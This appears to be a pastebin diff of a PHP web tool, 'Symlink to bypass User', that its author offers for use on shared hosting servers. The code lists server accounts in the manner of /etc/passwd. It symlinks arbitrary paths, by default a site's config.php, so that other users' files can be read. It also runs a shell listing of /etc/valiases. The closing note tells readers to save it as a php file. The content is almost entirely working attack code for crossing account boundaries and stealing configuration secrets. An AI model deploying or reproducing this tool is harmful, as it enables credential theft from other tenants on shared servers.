View difference between Paste ID: PSaCycUa and VFXS8G4H
SHOW: | | - or go back to the newest paste.
1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
2
3
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> 
4
5
6
<head>  
7
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />  
8
<head>  
9
<title>ZaraByte - Symlink to bypass User</title> 
10
<style type="text/css"> 
11
{ 
12
margin: 0 auto; 
13
} 
14
15
16
body { 
17
font-family: Verdana; 
18
font-size: 12px; 
19
 background: #EEE url(http://i.imgur.com/F4fqd.gif); 
20
 background-attachment: fixed; 
21
 background-attachment: scroll; 
22
 background-color: #333 
23
} 
24
25
26
a { 
27
    color: #36C; 
28
} 
29
a:hover { 
30
    color: #06F; 
31
} 
32
33
34
.container { 
35
    background: #333; 
36
    margin: 0 auto; 
37
    padding-bottom: 6px; 
38
    width: 531px; 
39
    border: 1px solid #000; 
40
} 
41
.header { 
42
     background: #333; 
43
        border: 1px solid #000; 
44
        margin-bottom: 8px; 
45
} 
46
47
48
.title h1 { 
49
    color: #000; 
50
    font: bold 3em Verdana,sans-serif; 
51
    height: 120px; 
52
    line-height: 12px; 
53
    margin-bottom: 8px; 
54
    text-align: center; 
55
} 
56
57
58
</style> 
59
60
61
</head> 
62
63
64
65
66
<body> 
67
68
69
<div class="container"> 
70
     
71
    <div class="main"> 
72
73
74
        <div class="header"> 
75
         
76
            <div class="title"> 
77
                <h1><img src="http://i.imgur.com/nt3do.png"></h1></div> 
78
            </div> 
79
80
81
        </div> 
82
         
83
        <div class="content"> 
84
85
86
                       <div class="item"> 
87
<form style="border: 1px solid #333"> 
88
<center><font color="#FF0000">-= [Symlink to bypass User] =-</font><br> 
89
<font color="#FF0000">Redesigned by ZaraByte </font><br>  
90
<font color="#FF0000"><a href=http://zarabyte.com>http://zarabyte.com</a><br>  
91
<font color="#FF0000"><a href="mailto:[email protected]" style="text-decoration: none"> 
92
<font color="#FF0000">[email protected]</font></a></font></center> 
93
</form> 
94
<font face=tahoma size=2> 
95
<form style="border: 1px solid #000"> 
96
<font color=red>Filename to view:</font> 
97
<input type="text" name="c" value="<?php $line=$_SERVER['DOCUMENT_ROOT']; echo $line . "/path/to/config.php"; ?>" size="51"> 
98
<input type="submit" value="Submit"> 
99
</form> 
100
<br> 
101
<form style="border: 1px solid #000"> 
102
<font color=red>Option 1:</font><br> 
103
<font color=red>Get Users in Server:</font><br> 
104
<select size=\"1\" name="passwd"><option value="option1">/etc/passwd</option></select> 
105
<input type="submit" value="Submit"><br> 
106
<font color=red>Recommended Option! Option 2. doesn't work on all servers. </font><br> 
107
</form> 
108
<br> 
109
<form style="border: 1px solid #000"> 
110
<font color=red>Option 2:</font><br> 
111
<font color=red>Get Name Sites with User: </font><br> 
112
<select size="1" name="valiases"> 
113
<option value="option2">/etc/valiases</option></select> 
114
<input type="submit" value="Submit"><br> 
115
<font color=red>Works on some servers if nothing shows try Option 1.</font><br> 
116
</form> 
117
<textarea method='POST' rows=15 cols=63 wrap=off> 
118
<?php 
119
120
121
if ($_GET['passwd'] ) 
122
123
124
for($uid=0;$uid<60000;$uid++){ //cat /etc/passwd 
125
$ara = posix_getpwuid($uid); 
126
if (!empty($ara)) { 
127
while (list ($key, $val) = each($ara)){ 
128
print "$val:"; 
129
} 
130
print "\n"; 
131
} 
132
} 
133
echo "</textarea>"; 
134
135
136
$k = $_GET['c']; 
137
$flib = "output.txt"; 
138
139
140
if ($k == "") { 
141
die; 
142
}else{ 
143
@unlink($flib); 
144
$sym = $k; 
145
$link = getcwd() . "/" . $flib; 
146
@symlink($sym, $link); 
147
if ($k{0} == "/") { 
148
echo "<script> window.location = '" . $flib . "'</script>"; 
149
}else{ 
150
echo "<pre><xmp>"; 
151
echo readlink($flib) . "\n"; 
152
echo "Filesize: " . linkinfo($flib) . "B\n\n"; 
153
$ddir = getcwd(); 
154
$file2 = str_replace($DOCUMENT_ROOT,'' , $ddir); 
155
$file2 = "http://" . $SERVER_NAME . $filee . $flib; 
156
$result = file_get_contents($file2); echo $result; 
157
} 
158
} 
159
if ($_GET['valiases'] ) 
160
system('ls -al /etc/valiases'); //Only Works with some servers! 
161
?> 
162
</div> 
163
</body> 
164-
</html>
164+
</html> 
165
166
167
Replace the old code with this the one i released is missing the php code sorry about that still trying to recover stuff but this should work fine... save it as a php file.